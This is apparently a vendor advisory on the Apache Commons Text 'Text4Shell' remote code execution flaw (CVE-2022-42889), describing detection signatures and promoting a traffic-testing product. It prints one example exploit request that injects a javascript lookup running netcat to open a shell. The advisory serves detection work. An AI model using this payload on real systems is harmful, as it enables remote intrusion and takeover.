top of page

Apache Commons Text 'javascript' Remote Code Execution (Text4Shell) (CVE-2022-42889)

Application Details

Apache Commons Text is a library focused on algorithms working on strings. It performs text operations such as escaping, calculating string differences, and substituting placeholders in text with values looked up through interpolators.


Apache Commons Text could allow a remote attacker to execute arbitrary code on the system, caused by an insecure interpolation defaults flaw.


By sending a specially crafted input, an attacker could exploit this vulnerability to execute arbitrary code on the system. Below is an example of a possible payload:

GET /text4shell/attack?search=${script:javascript:java.lang.Runtime.getRuntime().exec('nc 9090 -e /bin/sh')}


By creating several traffic files and matching rules, we are able to detect attempts to perform variations of remote code execution on an affected system.


Idappcom have created signatures 8023210-8023213 along with traffic files for this vulnerability.


Traffic IQ

If you are concerned that your business may be at risk of this vulnerability or others why not try out our Traffic IQ software which can scan your defences and report any issues. Learn more here:


bottom of page